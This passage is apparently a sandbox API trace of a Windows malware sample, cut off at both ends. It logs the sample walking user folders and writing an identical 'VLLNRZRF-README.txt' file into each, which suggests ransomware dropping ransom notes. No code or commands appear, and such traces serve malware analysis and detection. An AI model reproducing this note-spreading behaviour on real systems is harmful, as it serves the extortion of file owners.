lpFilePart=0x0) returned 0x37 [0107.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0107.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3a21f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab3a21f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab3c8350, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0107.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0109.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0109.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0109.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0109.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0109.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0109.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0109.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x530 [0109.697] GetFileType (hFile=0x530) returned 0x1 [0109.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0109.697] GetFileType (hFile=0x530) returned 0x1 [0109.697] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0109.697] WriteFile (in: hFile=0x530, lpBuffer=0x23ceb38*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23ceb38*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0109.698] CloseHandle (hObject=0x530) returned 1 [0111.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x52 [0111.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0111.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0111.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0111.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x52 [0111.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0111.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0111.474] GetFileType (hFile=0x31c) returned 0x1 [0111.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0111.474] GetFileType (hFile=0x31c) returned 0x1 [0111.474] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0111.474] WriteFile (in: hFile=0x31c, lpBuffer=0x231fec0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x231fec0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0111.475] CloseHandle (hObject=0x31c) returned 1 [0111.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x63 [0111.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0111.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0111.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0111.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x63 [0111.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0111.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0111.653] GetFileType (hFile=0x324) returned 0x1 [0111.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0111.653] GetFileType (hFile=0x324) returned 0x1 [0111.653] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0111.653] WriteFile (in: hFile=0x324, lpBuffer=0x229a3f8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x229a3f8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0112.131] CloseHandle (hObject=0x324) returned 1 [0112.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x6a [0112.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0112.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0112.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0112.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x6a [0112.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0112.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x320 [0112.916] GetFileType (hFile=0x320) returned 0x1 [0112.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0112.916] GetFileType (hFile=0x320) returned 0x1 [0112.916] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0112.917] WriteFile (in: hFile=0x320, lpBuffer=0x228c4b0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x228c4b0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0112.930] CloseHandle (hObject=0x320) returned 1 [0114.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0114.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0114.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0114.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0114.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0114.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4e0 [0114.383] GetFileType (hFile=0x4e0) returned 0x1 [0114.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0114.384] GetFileType (hFile=0x4e0) returned 0x1 [0114.384] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0114.384] WriteFile (in: hFile=0x4e0, lpBuffer=0x231fda0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x231fda0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0114.385] CloseHandle (hObject=0x4e0) returned 1 [0115.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x50 [0115.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0115.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0115.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0115.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x50 [0115.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0115.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4d4 [0115.937] GetFileType (hFile=0x4d4) returned 0x1 [0115.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0115.937] GetFileType (hFile=0x4d4) returned 0x1 [0115.937] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0115.937] WriteFile (in: hFile=0x4d4, lpBuffer=0x22513d8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22513d8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0115.939] CloseHandle (hObject=0x4d4) returned 1 [0116.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3e [0116.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0116.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7fdc370, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xa7fdc370, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa7fdc370, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0116.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0116.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0116.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0116.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0116.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0116.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0116.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0116.395] GetFileType (hFile=0x32c) returned 0x1 [0116.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0116.395] GetFileType (hFile=0x32c) returned 0x1 [0116.395] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0116.396] WriteFile (in: hFile=0x32c, lpBuffer=0x2244868*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2244868*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0116.397] CloseHandle (hObject=0x32c) returned 1 [0116.633] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3a [0116.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0116.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab43a770, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab43a770, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab43a770, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0116.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0116.838] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0116.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0116.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0116.839] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0116.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0116.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4fc [0116.839] GetFileType (hFile=0x4fc) returned 0x1 [0116.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0116.840] GetFileType (hFile=0x4fc) returned 0x1 [0116.840] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: 